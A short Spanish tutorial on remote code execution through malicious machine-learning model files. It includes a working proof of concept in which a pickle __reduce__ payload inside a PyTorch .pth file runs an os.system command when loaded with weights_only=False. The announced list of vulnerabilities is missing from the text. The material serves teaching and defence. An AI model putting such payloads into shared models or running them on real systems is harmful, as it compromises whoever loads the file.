Modelos RCE

Reading time: 5 minutes

Cargando modelos a RCE

Los modelos de Machine Learning generalmente se comparten en diferentes formatos, como ONNX, TensorFlow, PyTorch, etc. Estos modelos pueden ser cargados en las máquinas de los desarrolladores o en sistemas de producción para ser utilizados. Por lo general, los modelos no deberían contener código malicioso, pero hay algunos casos en los que el modelo puede ser utilizado para ejecutar código arbitrario en el sistema como una característica prevista o debido a una vulnerabilidad en la biblioteca de carga del modelo.

En el momento de la redacción, estos son algunos ejemplos de este tipo de vulnerabilidades:

Además, hay algunos modelos basados en pickle de Python, como los utilizados por PyTorch, que pueden ser utilizados para ejecutar código arbitrario en el sistema si no se cargan con weights_only=True. Por lo tanto, cualquier modelo basado en pickle podría ser especialmente susceptible a este tipo de ataques, incluso si no están listados en la tabla anterior.

Ejemplo:

• Crear el modelo:

# attacker_payload.py
import torch
import os

class MaliciousPayload:
def __reduce__(self):
# This code will be executed when unpickled (e.g., on model.load_state_dict)
return (os.system, ("echo 'You have been hacked!' > /tmp/pwned.txt",))

# Create a fake model state dict with malicious content
malicious_state = {"fc.weight": MaliciousPayload()}

# Save the malicious state dict
torch.save(malicious_state, "malicious_state.pth")

• Cargar el modelo:

# victim_load.py
import torch
import torch.nn as nn

class MyModel(nn.Module):
def __init__(self):
super().__init__()
self.fc = nn.Linear(10, 1)

model = MyModel()

# ⚠️ This will trigger code execution from pickle inside the .pth file
model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))

# /tmp/pwned.txt is created even if you get an error